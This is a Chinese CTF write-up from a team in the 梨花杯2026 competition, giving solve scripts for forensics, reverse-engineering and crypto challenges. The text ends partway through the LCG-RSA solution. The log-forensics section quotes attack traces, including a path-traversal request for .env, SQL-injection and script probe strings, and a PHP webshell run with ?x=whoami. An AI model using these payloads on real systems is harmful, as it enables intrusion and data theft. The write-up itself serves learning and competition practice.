梨花杯2026

队名:网安不能失去二栋(3个25小登们的队伍)

本人拿了个MISC的1个二血,两个三血,队伍总排名第三。队友打瓦,后台ai搞出来个Web的一血难题,感慨现在都是AI大时代了…

MISC

尾巴里的压缩包

这张图片看起来很正常,但它的“尾巴”似乎有点多余。

拿到一个webp,010打开找到下面有flag.txt字样,

想到文件里面藏了东西,用foremost进行文件分离

foremost提取出一个zip:

没有加密,打开直接是flag

保密为人民,保密靠人民

内网备份服务器出现了一次可疑的文件传输,现场只保留了一份流量包。 请从 PCAP 中还原被传输的原始文件,并从文件内容中找到 flag。

给了一个流量

用NetA分理出下载的文件

文件里面:eviedence\capture_notes\flag.txt直接出flag

你知道CRC吗?

师傅,这张 PNG 图片好像坏了。修好它,找到隐藏在图片中的 flag。

这道题可以用PZ秒,但是本文选择了一种偏本质的方法

1. 检查 PNG 文件结构

PNG 文件签名 (89 50 4E 47 0D 0A 1A 0A) 正常,说明文件头没有被破坏。

解析 chunk 结构:

ChunkLengthCRC 状态
IHDR13MISMATCH
IDAT65536OK
IDAT65536OK
IDAT47357OK
IEND0OK

IHDR 数据如下: Width: 0x000001da = 474 Height: 0x0000017b = 379 Bit depth: 8 Color type: 2 (RGB)

  • 当前数据计算的 CRC:0xfac6ddb3
  • 文件中存储的 CRC:0x7cfb886d

CRC 不匹配。IDAT/IEND chunk 的 CRC 全部正确,说明问题仅出在 IHDR 上。

2. 推测:CRC 是原来的,IHDR 数据被篡改过

这是一种常见的隐写/取证手法:修改 IHDR 中的宽高(使解码器只读取图像的一部分),但保留原始 CRC 不变。这样:

  • 图片仍然能正常显示(上半部分)
  • 但图像下半部分的内容被「隐藏」了
  • 原始 CRC 可以作为线索恢复真实的宽高

3. 爆破原始宽高

CRC 计算范围为 chunk type (4 bytes) + chunk data (13 bytes),其中 chunk type 固定为 IHDR,chunk data 的后 5 字节固定(bit depth=8, color type=2, compression=0, filter=0, interlace=0)。

写脚本在合理范围内爆破宽高,寻找使 CRC32("IHDR" + width_bytes + height_bytes + "\x08\x02\x00\x00\x00") == 0x7cfb886d 的组合:

 import binascii, struct
    target_crc = 0x7cfb886d
    ihdr_type = b'IHDR'
    fixed = bytes([0x08, 0x02, 0x00, 0x00, 0x00])  # bit_depth, color_type, compression, filter, interlace

    for w in range(1, 4096):
        wb = struct.pack('>I', w)
        for h in range(1, 4096):
            hb = struct.pack('>I', h)
            crc = binascii.crc32(ihdr_type + wb + hb + fixed) & 0xffffffff
            if crc == target_crc:
                print(f'FOUND: Width={w}, Height={h}')

输出: FOUND: Width=760, Height=560

原始图片尺寸为 760×560,被篡改为 474×379。

4. 修复图片

将 IHDR 中的宽高修改为 760×560,并重新计算正确的 CRC 写入文件:

    import struct, binascii
    original_width = 760
    original_height = 560

    ihdr_data = struct.pack('>IIBBBBB', original_width, original_height, 8, 2, 0, 0, 0)
    new_crc = binascii.crc32(b'IHDR' + ihdr_data) & 0xffffffff

    # 将修复后的 IHDR 数据和 CRC 写回文件偏移处
    data[16:29] = ihdr_data   # offset 16 = 8(sig) + 4(len) + 4(type)
    data[29:33] = struct.pack('>I', new_crc)

5. 获取 Flag

修复后图片尺寸变为 760×560,原来被错误高度「裁掉」的下半部分(第 380~560 行,共 181 行)重新显示出来,flag 直接写在图片底部

**本题考察对 PNG 文件格式的理解和 CRC32 校验机制的利用。核心知识点:

  1. PNG IHDR chunk 包含图片元信息(宽、高、位深、颜色类型等),共 13 字节
  2. 每个 chunk 末尾 4 字节为 CRC32 校验值(计算范围:chunk type + chunk data)
  3. 修改 IHDR 宽高可以隐藏图片的部分区域(缩小高度使解码器提前停止)
  4. 保留原始 CRC 可以作为线索逆向恢复原始宽高

网络安全无小事

某研发机 10.10.7.23 在夜间触发了“异常外联心跳”告警。安全设备只保留了一小段抓包,正常 DNS 查询和 ICMP 探测流量中似乎混入了某种隐蔽传输。

1500 包 PCAP,数据经双通道隐蔽传输:DNS lhgame.local 子域名承载偶数序列块,ICMP Echo 请求 payload 承载奇数序列块。交织后 base32 解码 → zlib 解压得 flag。其余 100 个带编码子域名的正常 DNS 查询为掩护流量。

1: 识别双通道

分析发现两类异常流量:

  • DNS 查询 sNNN.XXXXXXXX.cdn-sync.lhgame.local — 序列号 s000, s002, s004, s006, s008, s010(偶数)
  • ICMP Echo Request payload ts=...;seq=NNN;data=XXXXXXXX;stat — 序列号 001, 003, 005, 007, 009(奇数)

【奇数偶数这点很关键,忙活了很久才发现的这个规律】

二者序列号互补,组成完整 000-010。每个 data 字段为 7-8 字符的 base32 编码块。

2: 交织重组与解码

按数字序列号排序合并所有 data 块,base32 解码后 zlib 解压即得 flag。

    from scapy.all import *
    import re, base64, zlib

    packets = rdpcap('traffic.pcap')
    all_chunks = []

    # 提取 DNS lhgame (偶数序列)
    for pkt in packets:
        if DNS in pkt and pkt[DNS].qd:
            qname = pkt[DNS].qd.qname.decode().lower().rstrip('.')
            if 'lhgame' in qname:
                parts = qname.split('.')
                seq = int(parts[0][1:])      # s000 -> 0
                data = parts[1]
                all_chunks.append((seq, data))

    # 提取 ICMP (奇数序列)
    for pkt in packets:
        if ICMP in pkt and pkt[ICMP].type == 8:
            payload = bytes(pkt[ICMP].payload).decode('ascii', errors='ignore')
            m = re.search(r'seq=(\d+);data=([a-z0-9]+);', payload)
            if m:
                all_chunks.append((int(m.group(1)), m.group(2)))

    # 去重、排序、合并
    seen = set()
    unique = []
    for seq, data in sorted(all_chunks):
        if seq not in seen:
            seen.add(seq)
            unique.append(data)

    combined = ''.join(unique)
    decoded = base64.b32decode(combined.upper() + '=' * ((-len(combined)) % 8))
    flag = zlib.decompress(decoded).decode()
    print(flag)

得到Flag

LHFLAG{dns_icmp_mixed_covert_channel_7c9f2a}

夜航日志

这里推荐下lovelyspark,这个工具太好用了

某业务的 prod-web-02 在凌晨出现短暂异常。SOC 只打包出了 4 份日志:Nginx 访问日志、应用审计日志、系统认证日志、WAF 日志。日志量较大,且存在扫描器噪声和误报。请通过时间线梳理、IP 关联、异常行为检测等方法,还原攻击链并找出 flag。

说明:

  1. 日志时间均为 UTC+8。
  2. flag 格式为 LHFLAG{…}。
  3. 选手只需要分析附件内日志,不需要联网,不需要攻击任何真实服务。
  4. 部分字段是业务为了排障写入的 forensic/checkpoint 信息,但只有真正攻击链上的片段能拼出正确 flag。

附件结构:

logs/access.log Nginx 风格访问日志

logs/app.log JSON Lines 应用审计日志

logs/auth.log Linux/auth + Web 登录审计片段

logs/waf.log JSON Lines WAF 告警日志

1: 噪声分离

WAF 日志中大量来自不同 IP 的重复攻击载荷(/wp-login.php/robots.txt/comment?msg=<script>/search?q='or'1'='1)属于自动化扫描器噪声,均被 block。auth.log 中的 SSH 爆破同理。

真正绕过 WAF 的攻击流特征:WAF action 为 allow(非 block),且 app.log 中出现对应的 forensic_phasecheckpoint 字段。 快速定位:找出 WAF 放行的攻击grep '"action":"allow"' logs/waf.log 找出包含 forensic 标记的 app 日志

grep 'forensic_phase' logs/app.log

关键发现 — 攻击者 IP 203.0.113.45 是唯一同时出现在 WAF allow、app.log forensic 标记、auth.log 登录事件中的 IP。

2: 攻击链时间线还原(此处为了方便,用ai进行时间线溯源)

203.0.113.45 为 pivot,关联四份日志:


    02:13:04  侦查    GET /.env → 404                    WAF: ENUM-404-BURST
    02:13:46  侦查    GET /backup/config.old → 404        WAF: ENUM-404-BURST
    02:14:40  LFI     GET /download?file=../../../../     WAF: LFI-930100 ALLOW
                      var/www/app/.env → 200              [phase 1]
    02:15:37  LFI     GET /download?file=../../../../     WAF: LFI-930100 ALLOW
                      var/log/nginx/access.log → 200      [phase 2]
    02:17:05  登录    POST /login admin → 401             auth: Failed password
                      (bad_password)
    02:17:26  登录    POST /login admin → 302           auth: Accepted web-login
                      (remember_token 凭据复用)             [phase 3]
    02:19:07  上传    POST /admin/plugin/upload           WAF: PHP-UPLOAD ALLOW
                      q2_report.php → 201                 [phase 4]
    02:19:55  RCE     GET /uploads/.cache/report.php      WAF: CMD-INJECTION BLOCK
                      ?x=whoami → 200, exit_code=0         (执行已完成)
    02:21:30  窃取    admin_export users → 87391 bytes    IP 切换: 198.51.100.211
                                                           [phase 5]
    02:22:46  外传    backup_sync → s3://night-archive    SESSION-IP-CHANGE 告警
                                                           [phase 6]
    02:23:45  清痕    admin_audit_download 4312 rows      [phase 7]

攻击链总结: 侦查探测 → 路径穿越读 .env → 窃取 remember_token → 管理员登录 → 上传 PHP Webshell → RCE 执行 whoami → 切换 IP 导出用户数据 → 同步至攻击者 S3 → 下载审计日志清除痕迹

3: Flag 解码

7 个 phase 的 base64 checkpoint 按序拼接:

    import base64

    checkpoints = [
        "TEhGTEFH",   # phase 1
        "e2xvZ190",   # phase 2
        "aW1lbGlu",   # phase 3
        "ZV9pcF9j",   # phase 4
        "aGFpbl83",   # phase 5
        "YzkyYTRm",   # phase 6
        "MX0=",       # phase 7
    ]

    flag = "".join(base64.b64decode(c).decode() for c in checkpoints)
    print(flag)

解码过程:

PhaseBase64Decode
1TEhGTEFHLHFLAG
2e2xvZ190{log_t
3aW1lbGluimelin
4ZV9pcF9je_ip_c
5aGFpbl83hain_7
6YzkyYTRmc92a4f
7MX0=1}

得到Flag

LHFLAG{log_timeline_ip_chain_7c92a4f1}

逆向

OrbitGate

先别急着 patch 成功分支。程序在失败和成功路径里都埋了看起来像 flag 的字符串。

初步分析

题目目录中有两个关键文件:

  • OrbitGate.exe
  • OrbitGate.zip

压缩包内还有题面和提示,其中最关键的三条信息是:

  1. 不要只 patch 成功分支。
  2. 输入格式固定为 54 位十六进制。
  3. 恢复出 516-bit 值后,最后还有一步基于注册码的解密。

这三句已经把整道题的骨架讲透了:

  • 先过格式校验;
  • 再还原 5 个 UInt16 的数学关系;
  • 最后再用这 5 个值去解密真实 flag。

识别程序类型

OrbitGate.exe 做字符串提取,可以很快看到:

    BSJB
    v4.0.30319
    mscorlib
    System
    GateChecks
    EncryptedFlag
    FakeTokens
    ParseSerial
    Verify
    RecoverFlag

这是非常标准的 .NET 程序特征。

也就是说,这题不需要和 native 壳、SEH、反汇编对抗太久,重点会落在:

  • 读取托管元数据;
  • 枚举类型、字段、方法;
  • 还原 Verify()RecoverFlag() 的逻辑。

进一步反射后,可以拿到核心成员:

    Fields:
    - GateChecks : UInt16[]
    - EncryptedFlag : Byte[]
    - FakeTokens : String[]

    Methods:
    - LooksLikeLicense
    - ParseSerial
    - Verify
    - RecoverFlag
    - ComputeDigitChecksum
    - Rol16
    - Ror16

到这里,题眼已经完全暴露出来了。


误导点

程序里有一个专门的假线索数组 FakeTokens,内容如下:

    flag{telemetry_desync_is_not_enough}
    flag{patching_only_gets_you_a_decoy}
    OG-LAB-REVOKED-CHANNEL

这两条 flag{...} 都很像真 flag,尤其第二条几乎是“贴脸嘲讽”。

但它们恰好也在提醒你:

  • 只靠 patch,会拿到诱饵;
  • 只靠字符串,会走进陷阱;
  • 真正的出口,在 EncryptedFlagRecoverFlag()

这也是本题设计最漂亮的地方。它不是单纯“骗你”,而是在用误导反向强调题目主题。


程序主流程

整体逻辑可以概括为:

  1. LooksLikeLicense() 检查输入格式;
  2. ParseSerial() 把注册码拆成 5 个 UInt16
  3. Verify(words, serial) 校验这 5 个数之间的关系;
  4. 如果通过,则调用 RecoverFlag(words) 解密 EncryptedFlag
  5. 输出真实 flag。

其中格式要求非常直接: XXXX-XXXX-XXXX-XXXX-XXXX

每一组都是 4 位十六进制,总共 5 组。


核心校验逻辑

静态字段 GateChecks 的值为:[33130, 108, 50732, 59120, 47103, 52012, 940]

将注册码拆成:

w0, w1, w2, w3, w4

Verify() 会先构造一个 7 项数组,再与 GateChecks 做组合校验。关键约束可以还原为:

    check0 = Rol16(w0 ^ 0x1337, 3) + 0x2222
    check1 = w1 ^ Ror16(w0, 1) ^ 0x5AA5
    check2 = ((w2 + Rol16(w1, 4)) & 0xFFFF) ^ 0x3141
    check3 = (w3 - w2) ^ 0xBEEF
    check4 = Rol16(w4, 7) + (w1 ^ 0x4242)
    check5 = w0 + w2 + w4
    check6 = ComputeDigitChecksum(serial) + 0x6D3A

所有结果都按 UInt16 处理,也就是最终取 & 0xFFFF

前五项可以直接反推:

    w0 = Ror16((GateChecks[0] - 0x2222) & 0xFFFF, 3) ^ 0x1337
    w1 = GateChecks[1] ^ Ror16(w0, 1) ^ 0x5AA5
    w2 = ((GateChecks[2] ^ Rol16(w1, 4)) - 0x3141) & 0xFFFF
    w3 = ((GateChecks[3] ^ 0xBEEF) + w2) & 0xFFFF
    w4 = Ror16((GateChecks[4] - (w1 ^ 0x4242)) & 0xFFFF, 7)

算出来就是:

    w0 = 0x18DE
    w1 = 0x56A6
    w2 = 0x7B08
    w3 = 0xD327
    w4 = 0x3746

也就是合法注册码:18DE-56A6-7B08-D327-3746

再验证一下:w0 + w2 + w4 = 0x18DE + 0x7B08 + 0x3746 = 0xCB2C

刚好对应:GateChecks[5] = 52012 = 0xCB2C

说明反推结果完全闭合。


关于最后一层

真正有意思的是,Verify() 通过并不代表题目结束。

程序里还有一段字节数组:

    EncryptedFlag =
    8E C4 C6 4D 06 92 77 48 BF 1C 1B D7 C3 85 9A 7F
    6B E7 89 88 E7 DC 57 9D 4D 78 C9 FE 1E B8 BD 45 E9 EF 23

真正的 flag 并不在字符串区,而是在这里。

RecoverFlag(words) 会使用前面恢复出的 5 个 UInt16 值,构造一条与注册码绑定的字节流,对 EncryptedFlag 做逐字节解密,最后再按 ASCII 输出。

这就解释了为什么单纯 patch 成功分支不够:

  • 你可以让程序“显示成功”;
  • 但如果注册码不合法,真正的解密过程就没有正确输入;
  • 最终拿不到真 flag。

这一步把“形式上的通过”和“逻辑上的通过”彻底区分开了。


求解脚本

下面给出一个足够简洁、适合比赛现场复现的 Python 版本求解脚本。它直接根据 GateChecks 反推 5 个 16-bit 值。

    def rol16(x, s):
        s &= 15
        return ((x << s) | (x >> (16 - s))) & 0xFFFF
    def ror16(x, s):
        s &= 15
        return ((x >> s) | (x << (16 - s))) & 0xFFFF


    gate = [33130, 108, 50732, 59120, 47103, 52012, 940]

    w0 = ror16((gate[0] - 0x2222) & 0xFFFF, 3) ^ 0x1337
    w1 = gate[1] ^ ror16(w0, 1) ^ 0x5AA5
    w2 = ((gate[2] ^ rol16(w1, 4)) - 0x3141) & 0xFFFF
    w3 = ((gate[3] ^ 0xBEEF) + w2) & 0xFFFF
    w4 = ror16((gate[4] - (w1 ^ 0x4242)) & 0xFFFF, 7)

    serial = f"{w0:04X}-{w1:04X}-{w2:04X}-{w3:04X}-{w4:04X}"
    print(serial)

输出: 18DE-56A6-7B08-D327-3746

将该字符串输入程序,即可得到真实 flag。


运行结果

程序接受正确注册码后的输出为:

    [+] Uplink accepted.
    [+] Orbital maintenance channel restored.
    [+] flag{4c731fc9bdfd9b15_orbit_unlock}

因此最终答案为:flag{4c731fc9bdfd9b15_orbit_unlock}


复盘

这题的难点从来不在“算术有多难”,而在“你是否愿意尊重程序本身的逻辑”。

如果只想走捷径,很容易停在下面这些假终点上:

  • 看到 flag{...} 字符串就提交;
  • patch 条件跳转让程序显示成功;
  • 只恢复前半段约束,不去看最后的解密流程。

但这题真正考察的是另一件事:

Reverse 不是把程序改成你想看到的样子。Reverse 是理解它为什么会变成那个样子。

从这个角度说,OrbitGate 是一道完成度很高的题:

  • 结构短小;
  • 提示明确;
  • 误导有效但不过分;
  • 解题路径干净;
  • 主题表达完整。

它告诉我们,真正的“通过验证”,不是伪造成功分支,而是构造出一把能让整个系统自然运转的钥匙。

这把钥匙就是: 18DE-56A6-7B08-D327-3746


最终结论

注册码 18DE-56A6-7B08-D327-3746

Flag flag{4c731fc9bdfd9b15_orbit_unlock}

Night Market

夜市管理员留下了一个小程序,据说只有输入正确的通行口令,摊位灯牌才会亮起。 你拿到了校验程序和几份可疑的字节数组。请逆向程序中的 XOR 变换逻辑,还原原始输入。

37 字符流密码验证程序。输入 ticket 经位置置换 + 状态反馈流密码 XOR 加密后与 want 数组比对。由于状态更新仅依赖 cipher 值,而 cipher 必须等于 want[i] 才能通过验证,故可正向推演出完整 ticket。

1: 分析流密码结构

check_ticket 函数对每个位置 i 执行:

  1. pos = route_at(i) — 通过 box_a[i] ^ (i*19+0x5d) 打乱读取位置
  2. cipher = ticket[pos] ^ stream_at(i, state) — 流密码 XOR
  3. mixed[i] = cipher — 存入结果数组
  4. state = next_state(i, state, cipher) — 更新状态

最终 mixed == want 才通过验证。

2: 正向反推 ticket

验证通过时 cipher = mixed[i] = want[i] 完全已知,state 更新也只依赖已知值,因此可从初始 state=0xa6 逐轮计算:

  • ticket[pos] = want[i] ^ stream_at(i, state)
  • state = next_state(i, state, want[i]) TICKET_LEN = 37 box_a = bytes([0x43,0x69,0xa0,0x92,0xb5,0xad,0xcc,0xe8,0xf5,0x2c,0x0e,0x27,
    0x57,0x56,0x7a,0x65,0x88,0xb3,0xbd,0xd4,0xc1,0xe7,0xfe,0x30,
    0x28,0x23,0x4c,0x58,0x79,0x94,0x8d,0xbd,0x9c,0xdf,0xc3,0xe2,0x05])
    box_b = bytes([0xd3,0xb5,0x18,0xba,0xe4,0xfa,0x2a,0xba,0x9d,0x37,0xc9,0xae,
    0xd6,0x76,0xc6,0x03])
    want = bytes([0x8e,0x60,0xb8,0x44,0x5e,0x3f,0x42,0xa2,0xce,0x14,0x20,0x7a,
    0x0e,0x6c,0xa8,0xb0,0xb2,0xe7,0xaf,0xaf,0x3f,0xfa,0xf0,0x50,
    0xa9,0xe7,0x7e,0x40,0x55,0x04,0x86,0xe9,0xf4,0x82,0x1e,0x47,0xa9]) def rol8(x, r):
    return ((x << r) | (x >> (8 – r))) & 0xff def route_at(i):
    return box_a[i] ^ ((i * 19 + 0x5d) & 0xff) def seed_at(i):
    return box_b[i] ^ ((i * 23 + 0x91) & 0xff) def stream_at(i, state):
    a = seed_at((i * 7 + 3) & 15)
    b = seed_at((i * 5 + 11) & 15)
    p = (i * 0x3d + 0x5b) & 0xff
    return (rol8((a + i) & 0xff, 3) ^
    rol8((b ^ (i * 0x29)) & 0xff, 1) ^ state ^ p) & 0xff def next_state(i, state, cipher):
    a = seed_at((i * 7 + 3) & 15)
    spice = (i * 13 + 0x37) & 0xff
    return rol8((state ^ cipher ^ a ^ spice) & 0xff, 1) state = 0xa6
    ticket = [0] * TICKET_LEN
    for i in range(TICKET_LEN):
    pos = route_at(i)
    ticket[pos] = want[i] ^ stream_at(i, state)
    state = next_state(i, state, want[i]) flag = bytes(ticket).decode()
    print(flag)

得到flag:flag{neon_xor_chain_nFR7059MIEPeN9o4}

密码

Night Watch

某台旧网关会在午夜导出一份审计记录。管理员为了图方便,使用“短密钥循环异或”的方式保护整份文件。

现在你拿到了导出的密文 ciphertext.bin。请恢复明文并提交其中的 flag。

已知:

明文是以 ASCII 为主的日志/审计文本;

加密算法是 repeated-key XOR,即 key 会循环使用;

key 是可打印字符组成的短字符串,但长度未知;

40630 字节密文,使用短密钥循环异或加密 ASCII 审计日志。通过重合指数(IC)确定密钥长度为 17,逐位置频率分析恢复密钥 Nebula_Rook_2026!,解密得 flag。

1: 确定密钥长度

对不同密钥长度计算重合指数(Index of Coincidence)。随机数据 IC ≈ 0.0118,英语文本 IC ≈ 0.065。在 len=17 和 len=34(2×17)处 IC 骤升至 ~0.037,确认密钥长度为 17。

2: 逐位破解密钥

将密文按 17 个偏移位置分为 17 组,每组独立单字节 XOR。对每个位置遍历可打印 ASCII (0x20-0x7E),以英语字母频率评分,选最优字节。

    data = open('ciphertext.bin', 'rb').read()

    def score_text(text):
        s = 0
        for b in text:
            if 0x20 <= b <= 0x7e:
                s += 1
                c = chr(b).lower()
                if c in 'etaoinshrdl': s += 2
                elif c in 'cumwfgypbvkjxqz': s += 0.5
            elif b in (0x0a, 0x0d, 0x09): s += 0.5
            else: s -= 3
        return s / max(len(text), 1)

    kl = 17
    key = []
    for offset in range(kl):
        chunk = data[offset::kl]
        best = max(range(0x20, 0x7f),
                   key=lambda kb: score_text(bytes([b ^ kb for b in chunk])))
        key.append(best)

    key = bytes(key)
    print(f"Key: {key.decode()}")  # Nebula_Rook_2026!

    plain = bytes(data[i] ^ key[i % kl] for i in range(len(data)))
    # Find flag
    idx = plain.find(b'LHFLAG{')
    end = plain.find(b'}', idx)
    print(plain[idx:end+1].decode())

Flag

LHFLAG{r3p3at_x0r_stat_leak_6f2c9a18}

打破时间胶囊

某密码重置服务在启动时使用 int(time.time()) 作为 Python中random.Random的种子。 它会先生成一个公开的重置 token,然后继续用同一个 PRNG 生成管理员 PIN 和加密 flag 的密钥材料。 你拿到了源码 chall.py和一次真实运行留下的 public_log.txt。服务启动时间只知道一个大致范围。 请恢复 flag

阅读 chall.py 源码,关键逻辑如下:

    seed = int(time.time())          # ① 种子 = 启动时的 Unix 时间戳(秒级精度)
    rnd = random.Random(seed)

    burn_count = 300 + (rnd.getrandbits(16) % 700)  # ② 随机"预热" 300~999 次
    for _ in range(burn_count):
        rnd.getrandbits(8 + 8 * (rnd.getrandbits(2) % 4))  # ③ 消耗随机数

    reset_token = "...".format(...)   # ④ 公开的 reset token(已知)
    admin_pin    = "..."             # ⑤ 管理员 PIN(未知)
    nonce        = bytes(...)        # ⑥ 加密用的 nonce(已知)
    key_material = bytes(...)        # ⑦ 加密用的密钥材料(未知)

    key = sha256(key_material + reset_token + admin_pin)
    ciphertext = xor_stream(flag, key, nonce)

整个系统使用 同一个 PRNG 实例 依次生成所有值。reset_token 是公开的,可以作为验证种子的”检查点”。

破绽
  1. 种子空间极小int(time.time()) 只有秒级精度,而题目给出了服务启动时间范围——2026-05-16 09:00:00 ~ 13:00:00(亚洲/新加坡,UTC+8),共 4 小时 = 14400 个候选种子
  2. 公开 token 可验证reset_tokenpublic_log.txt 中已知,用它即可判定哪个种子是正确的。
  3. PRNG 完全可复现:Python 的 random.Random(seed) 是纯确定性的 Mersenne Twister,给定相同种子 → 相同输出序列。

1 — 转换时间范围

亚洲/新加坡 (UTC+8) → UTC:

当地时间UTC
2026-05-16 09:00:002026-05-16 01:00:00
2026-05-16 13:00:002026-05-16 05:00:00

对应 Unix 时间戳:1778893200 ~ 1778907600,共 14400 个候选种子。

2 — 爆破种子

对每个候选种子,用完全相同的 PRNG 操作流程复现 reset_token,与目标值比对:

    TARGET = "73cf64abf63757312bcee076"

    def try_seed(seed):
        rnd = random.Random(seed)
        burn_count = 300 + (rnd.getrandbits(16) % 700)
        for _ in range(burn_count):
            rnd.getrandbits(8 + 8 * (rnd.getrandbits(2) % 4))
        reset_token = "".join(f"{rnd.getrandbits(8):02x}" for _ in range(12))
        return reset_token

    for seed in range(START_TS, END_TS + 1):
        if try_seed(seed) == TARGET:
            print(f"FOUND: {seed}")
            break

约 2 秒后命中: Seed: 1778896043

3 — 恢复 flag

用正确的种子完整复现 PRNG 序列,依次提取 admin_pinnoncekey_material,推导 AES-like XOR 流的密钥,解密 ciphertext:

    rnd = random.Random(1778896043)
    # ... 复现 burn 阶段 ...
    reset_token = ...  # 验证通过
    admin_pin    = "093031"
    nonce        = bytes.fromhex("eefdeebaded7d55f7c855f98")
    key_material = bytes.fromhex("4b68302da289f4c775e0b966b423163b...")

    key = sha256(key_material + reset_token.encode() + admin_pin.encode())
    flag = xor_stream(ciphertext, key, nonce)

Flag

LHFLAG{t1m3_s33d_rng_can_b3_gu3ss3d_4f7c9a}

总结

这道题的核心教训:

  • time.time() 不是密码学安全的随机源。秒级精度的种子空间极小(本题仅 14400 种可能),配合一个已知的 PRNG 输出即可在数秒内爆破。
  • 涉及安全的随机数生成应使用 secrets 模块(Python)或 /dev/urandom,而非 random 模块。
  • 即使加了”预热”(burn)阶段,只要整个 PRNG 状态是由同一个种子派生的,攻击者依然可以完美复现。

Morph Encoder

朋友说普通编码题在 AI 面前太容易了,于是我给同一段数据换了几副“面孔”。

附件中给出了 chall.py 和 output.txt。请分析编码流程,恢复原始 flag。

自定义多层编码链:twist XOR → base85 → custom base64 → chunk_mirror → snake_fence → custom base32。逐层逆向即可恢复 flag。

1: 分析编码链

chall.py 定义了 5 层变换:

函数操作
1twistXOR (i*73+41) & 0xff(自逆)
2base64.b85encode标准 base85
3custom_b64标准 base64 换自定义字母表 M64
4chunk_mirror5 字符分块 → 奇块反转 → 右旋 3 块
5snake_fence7 列栅栏,奇数列反转
6custom_b32标准 base32 换自定义字母表 M32 → 8 字符组反转

2: 逐层逆向

逆向顺序与编码相反:custom_b32 → snake_fence → chunk_mirror → custom_b64 → base85 → twist。

    import base64

    STD64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    M64   = "qazwsxedcrfvtgbyhnujmiklopQAZWSXEDCRFVTGBYHNUJMIKLOP9876543210-_"
    STD32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
    M32   = "ZYXWVUTSRQPONMLKJIHGFEDCBA765432"

    output = "NI7HT.KADDH46L.TYAS5EPV.VMNT5AOR.MQNWZ7IW.LQWC5I77.TYWVLDO3.MUNEL7QF.T4XE3EGG.MUDEFA7C.LBBTFGYA.LQNFR56K.MMFWR7WG"

    # 1) Reverse custom_b32
    groups = output.split(".")[::-1]
    morphed = "".join(groups)
    trans_b32 = str.maketrans(M32, STD32)
    b32_str = morphed.translate(trans_b32)
    b32_str += "=" * ((-len(b32_str)) % 8)
    s = base64.b32decode(b32_str).decode()

    # 2) Reverse snake_fence (width=7)
    width, n_rows = 7, len(s) // 7
    cols = []
    for c in range(width):
        col = list(s[c * n_rows:(c + 1) * n_rows])
        if c % 2 == 1:
            col = col[::-1]
        cols.append(col)
    rows = ["".join(cols[c][i] for c in range(width)) for i in range(n_rows)]
    s = "".join(rows).rstrip("#")

    # 3) Reverse chunk_mirror (chunk=5, rot=3)
    blocks = [s[i:i+5] for i in range(0, len(s), 5)]
    blocks = blocks[3:] + blocks[:3]   # left-rotate by 3
    blocks = [b[::-1] if i % 2 else b for i, b in enumerate(blocks)]
    s = "".join(blocks).rstrip("~")

    # 4) Reverse custom_b64
    trans_b64 = str.maketrans(M64, STD64)
    b64_str = s.translate(trans_b64)
    b64_str += "=" * ((-len(b64_str)) % 4)
    b85_str = base64.b64decode(b64_str).decode()

    # 5) Reverse base85
    twisted = base64.b85decode(b85_str)

    # 6) Reverse twist
    flag = bytes((b ^ ((i * 73 + 41) & 0xff)) for i, b in enumerate(twisted))
    print(flag.decode())

得到Flag

LHFLAG{m0rph_Enc0ding_9f42b6c1a8}

LCG-RSA的强强联手

一次调试日志中意外泄露了某个线性同余生成器(LCG)的连续输出。服务端使用同一个 LCG 的后续状态生成 RSA 的两个素数,并对 flag 进行了加密。 请根据附件中的 task.py 和 output.txt 恢复 flag。

题目源码分析

题目核心逻辑如下:

    class LCG:
        def __init__(self, m: int, a: int, b: int, seed: int):
            self.m = m
            self.a = a
            self.b = b
            self.x = seed

        def next(self) -> int:
            self.x = (self.a * self.x + self.b) % self.m
            return self.x

    rng = LCG(M, A, B, SEED)

    leak = [rng.next() for _ in range(10)]

    p = next_prime(rng.next())
    q = next_prime(rng.next())

    n = p * q
    e = 65537
    c = pow(int.from_bytes(FLAG, "big"), e, n)

从代码可以看出:

  1. 题目使用了一个线性同余生成器 LCG
  2. 先泄露了连续的 10 个状态值 leak
  3. 然后第 1112 个状态分别经过 next_prime 变成 pq
  4. 最终用标准 RSA 进行加密。

这意味着:

  • RSA 本身并没有明显弱点;
  • 真正的漏洞在于 pq 的来源是可预测的;
  • 只要从泄露中恢复出 LCG 参数,就能继续往后推状态,进而恢复 pq

换句话说,这题的本质不是“爆破 RSA”,而是“预测生成 RSA 素数的随机源”。


LCG 基础

线性同余生成器形式为: x_{n+1} = (a x_n + b) mod m

其中:

  • m 是模数
  • a 是乘子
  • b 是增量
  • x_0 是种子

如果 m, a, b, seed 都保密,LCG 表面上像是“随机”的;但一旦连续输出泄露足够多,参数往往可以直接恢复。

这正是 LCG 在密码学里不安全的根本原因:它适合做模拟、抽样、游戏逻辑,不适合生成密钥材料。


攻击切入点

已知连续输出:x0, x1, x2, ..., x9

定义差分: d_i = x_{i+1} - x_i

对于 LCG,可以推出一个非常关键的恒等式: d_{i+2} d_i - d_{i+1}^2 ≡ 0 (mod m)

也就是说,下面这些值: t_i = d_{i+2} d_i - d_{i+1}^2

全部都是 m 的倍数。

于是我们可以:

  1. 先算出若干个 t_i
  2. 对它们取 gcd
  3. 大概率直接得到模数 m

这是恢复未知 LCG 模数时的经典做法。


第一步:恢复模数 m

设: d_i = x_{i+1} - x_i

然后计算: t_i = |d_{i+2} d_i - d_{i+1}^2|

再取: m = gcd(t_0, t_1, t_2, …)

在本题中,得到: m = 7875284624774766146779800993774894905100411788121896560125060768418290671778891426069143518962622717768183611843647982948139027846154094539521976137200947

这是一个 512 位整数,和题目规模完全匹配。


第二步:恢复 ab

LCG 满足:

    x2 ≡ a x1 + b (mod m)
    x1 ≡ a x0 + b (mod m)

两式相减:x2 - x1 ≡ a(x1 - x0) (mod m)

于是: a ≡ (x2 - x1) * (x1 - x0)^{-1} (mod m)

只要 x1 - x0 在模 m 下可逆,就能求出 a。然后再代回: b ≡ x1 – a x0 (mod m)

本题恢复得到:

    a = 4738825074520259956533037190684495177771755298763050091909140649381629606721221195682239040738122274360279582713489062229369777696853175440320242347711942
    b = 4092912681671128018391178676001917712732854554289857666213004128629748648943621665932967507890089418337577391833454547542549491970398245151364856305238733

验证所有泄露值都满足递推关系,说明恢复成功。


第三步:预测后续状态

已知最后一个泄露值 x9,继续递推: x10 = (a x9 + b) mod m x11 = (a x10 + b) mod m

题目中这两个值不是直接作为素数,而是: p = next_prime(x10) q = next_prime(x11)

所以只要继续算: from sympy import nextprime p = nextprime(x10) q = nextprime(x11)

